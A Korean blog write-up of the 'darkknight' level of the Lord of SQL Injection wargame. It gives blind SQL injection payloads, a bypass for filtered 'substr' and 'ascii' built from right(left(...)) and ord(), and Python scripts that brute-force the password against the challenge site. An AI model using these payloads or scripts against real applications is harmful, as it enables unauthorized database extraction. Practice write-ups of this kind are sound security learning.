-
<Lord of SQL Injection> darkknightWargame/Lord of SQL Injection 2021. 11. 13. 18:51
'no'로 전달받은 값은 'prob', '_', '.', '()', 싱글 쿼터('), 'substr', 'ascii'를 필터링한다.
'pw'로 전달받은 값은 싱글 쿼터(')를 필터링한다.
참인 값인 ?pw=&no="" or 1을 입력하면
"Hello guest"를 출력한다.
거짓인 값을 입력하면 아무것도 출력하지 않는다.
참과 거짓만을 구분하므로 Blind SQL Injection을 수행할 수 있다.
이를 통해 pw의 길이를 알아보기 위해
?pw=&no="" or length(pw) < 10을 입력하면
pw의 길이가 10보다 작은 것을 확인할 수 있다.
?pw=&no="" or length(pw) like 8을 통해
pw의 길이가 8인 것을 확인할 수 있다.
이제 한 글자씩 찾아야한다.
'substr'이 필터링되는 경우, 'right'와 'left'를 섞어 한 글자씩 찾을 수 있다.
-- LEFT(문자열,길이) LEFT("woong",2) -- wo -- RIGHT(문자열,길이) RIGHT("woong",2) -- ng
right(left("woong",n),1)을 하면 "woong"을 왼쪽에서 n만큼 가져오고, 가장 오른쪽 문자를 가져온다.
이를 통해 한 문자씩 가져올 수 있다.
따라서, ?pw=&no="" or ord(right(left(pw,1),1)) like 48을 입력하면
pw의 첫 글자가 0으로 시작하는 것을 확인할 수 있다.
그럼 파이썬 코드를 통해 나머지 글자도 구할 수 있다.
import requests pw = '' baseurl = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" want_str = "<h2>Hello admin</h2>" for i in range(1, 9): for j in range(33, 128): url = baseurl + '?pw=&no="" or ord(right(left(pw,{}),1)) like {}'.format(i,j) cookies = {'PHPSESSID' : 'PHPSESSID 값'} res = requests.get(url=url, cookies=cookies) if want_str in res.text: pw += chr(j) print("{} : {}".format(i, chr(j))) break print("pw : ", pw)
위 코드를 실행하면 마지막 8번째의 글자가 출력되지 않는다. 코드에 문제가 있나 해서,
쿼리문을 '?pw=&no="" or ord(right(pw,1)) like {}'.format(j)으로 따로 실행해보았다.
import requests pw = '' baseurl = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" want_str = "<h2>Hello admin</h2>" for i in range(1, 8): for j in range(33, 128): url = baseurl + '?pw=&no="" or ord(right(left(pw,{}),1)) like {}'.format(i,j) cookies = {'PHPSESSID' : '3ubnstfgsb3tlfugvfmuo2snm4'} res = requests.get(url=url, cookies=cookies) if want_str in res.text: pw += chr(j) print("{} : {}".format(i, chr(j))) break for j in range(33, 128): url = baseurl + '?pw=&no="" or ord(right(pw,1)) like {}'.format(j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: pw += chr(j) print("8 : {}".format(chr(j))) break print("pw : ", pw)
따로 실행하니 8번째 문자까지 출력되었다.
이 문제는 문제가 풀리게 되면 'Clear!' 문구만 출력하지, 'Hello admin'을 출력하지 않았다.
따라서, 원래 코드에서 8번째 문자가 출력되지 않았다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> bugbear (0) 2021.11.15 <Lord of SQL Injection> skeleton (0) 2021.11.14 <Lord of SQL Injection> golem (0) 2021.11.13 <Lord of SQL Injection> vampire (0) 2021.11.13 <Lord of SQL Injection> troll (0) 2021.11.12